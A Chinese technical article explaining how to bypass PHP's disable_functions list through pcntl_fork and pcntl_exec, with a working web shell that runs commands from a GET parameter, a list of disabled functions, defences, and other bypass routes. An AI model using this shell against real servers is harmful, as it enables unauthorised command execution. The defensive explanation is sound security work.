php绕过大部分禁用函数限制执行命令
字数 876 2025-08-29 08:32:18
PHP绕过禁用函数限制执行命令技术分析
背景介绍
在PHP安全配置中,管理员通常会通过disable_functions指令禁用一些危险的函数来防止命令执行漏洞被利用。常见的被禁用函数包括:
passthru, exec, system, chroot, chgrp, chown, shell_exec,
proc_open, proc_get_status, popen, ini_alter, ini_restore,
dl, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server
技术原理
当大部分常见的命令执行函数被禁用时,可以利用pcntl扩展中的函数来绕过限制。pcntl扩展提供了进程控制功能,通常不会在disable_functions中被禁用。
关键函数
pcntl_fork()- 创建子进程pcntl_exec()- 在当前进程空间执行指定程序
绕过技术实现
方法一:利用临时文件和pcntl_exec
<?php
header("Content-Type: text/plain");
// 1. 创建临时可执行脚本
$cmd = "/tmp/exec";
@unlink($cmd); // 删除已存在的文件
// 2. 构造bash脚本内容,从GET参数获取命令
$c = "#!/usr/bin/env bash\n" . $_GET[x] . "> /tmp/output.txt\n";
file_put_contents($cmd, $c);
// 3. 设置可执行权限
chmod($cmd, 0777);
// 4. 读取命令执行结果
$cd = "/tmp/output.txt";
print_r(file_get_contents($cd));
// 5. 使用pcntl函数执行命令
switch(pcntl_fork()) {
case 0: // 子进程
$ret = pcntl_exec($cmd);
exit("case 0");
default: // 父进程
echo "case 1";
break;
}
?>
执行流程
- 创建一个临时bash脚本文件
/tmp/exec - 将攻击者提供的命令(通过
x参数)写入该文件 - 设置文件可执行权限
- 使用
pcntl_fork()创建子进程 - 在子进程中使用
pcntl_exec()执行临时脚本 - 命令输出被重定向到
/tmp/output.txt - 读取并显示输出文件内容
防御措施
-
禁用pcntl扩展:在php.ini中移除或禁用pcntl扩展
extension=pcntl.so ; 注释或删除这一行 -
限制文件操作权限:
- 设置
open_basedir限制PHP可访问的目录 - 确保
/tmp目录不可被PHP写入
- 设置
-
加强服务器配置:
- 使用SELinux或AppArmor限制进程行为
- 定期审查服务器上的可疑文件
-
代码审计:
- 检查所有文件操作和进程创建相关的代码
- 禁止用户输入直接用于文件操作或命令执行
其他可能的绕过方式
即使pcntl也被禁用,还有其他可能的绕过方法:
- LD_PRELOAD技巧:通过mail()等函数触发外部程序执行
- ImageMagick漏洞:利用图像处理库执行命令
- FFI扩展:如果启用,可通过调用系统库执行命令
- COM组件:在Windows系统上使用COM对象
总结
这种绕过技术利用了管理员通常不会禁用pcntl扩展的特点,通过创建临时可执行文件并利用进程控制函数来执行命令。防御此类攻击需要多层次的防护措施,包括禁用不必要的扩展、限制文件系统访问和加强进程隔离。